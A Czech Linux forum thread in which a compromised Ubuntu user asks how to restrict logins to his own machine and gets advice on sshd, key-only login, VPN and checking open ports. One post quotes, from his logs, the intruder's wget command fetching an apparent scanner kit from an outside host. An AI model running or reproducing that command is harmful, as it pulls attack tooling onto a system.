Dotaz: Prihlasovani uzivatele jen z vlastniho pc

[Ubuntu 10.4]

Dobry den,

po nepekne zkusenosti s rumunskym hackerem bych rad omezil prihlasovani uzivatele jen na lokalni PC, poradite? (neomezovat IP adresou - ta se meni) dik

---

---

Odpovědi

[MaSo]

Vypnout SSHD? To asi nechceš, co takhle vzdálené přihlášení pouze klíčem?

[Zdenek]

Omezit na určitý sítový rozsah

[Jendа]

A jak jinak než podle IP adresy bys chtěl rozlišit počítač, který se snaží přihlásit?

Většina rumunských crackerů crackuje slovníkové hesla. Nebylo by lepší donutit uživatele použít alespoň osmiznakové náhodné heslo?

[Ubuntu 10.4]

Vysvetlim lip

jde mne o to .. aby se kazdej uzivatel na svuj pc (notebook s WIFI) prihlasil jen ze svyho pc (notebooku) .. odnikud jinud pokud budu chtit neco propojit, udelam to pres server nebo jiny sluzby, ne pres uzivatele s moznosti sudo ...

konecne sem se po preinstalovani dostal k logum - nevite nekdo neco o SirVic.tgz?

wget http://chanhelp.is-the-boss.com/scanner/SirVic.tgz

na zminene adrese se mne uz stahnout nepovedlo .. a na netu sem k nemu nic nenasel

[Michal Kubeček]

Vysvetlim lip

Moc se to nepovedlo…

Pokud vám jde o to, aby fungovalo jen lokální přihlášení, nespouštějte sshd vůbec. Pokud o to, aby bylo možné přihlásit se jen z konkrétního počítače (který nemá pevnou IP adresu), použijte nějakou formu VPN. Pokud chcete eliminovat roboty plošně hádající hesla, zakažte přihlašování heslem a přihlašujte se jen klíčem. Pokud chcete něco jiného, zkuste konečně srozumitelně napsat co.

[Ubuntu 10.4]

kdybych vedel, co presne hledam, verte, ze bych to uz nehledal

sshd predpokladam, ze je obousmerny
takze muj problem by vyresilo sshd nechat smerem ven otevreny a smerem dovnitr ho uplne zablokovat
to ovsem za predpokladu, ze sshd je jedina moznost, jak se zvenku dostat na svuj ucet

[Václav Kramář]

Ne, sshd je pouze server. Takže jen pro přihlášení zvenku na tvůj stroj. SSH klient lokálně běžící server nepotřebuje. Jedna ze zásad bezpečnosti je otvírat pouze ty porty/služby, které jsou zapotřebí.

[Dalibor Smolík]

Občas používám test bezpečnosti pro zjištění, co mám otevřené ..

[Michal Kubeček]

Pokud se nebojíte, že máte na počítači rootkit, stačí 'netstat -lpn' resp. 'netstat -lpn --inet', jinak zvenku nmap.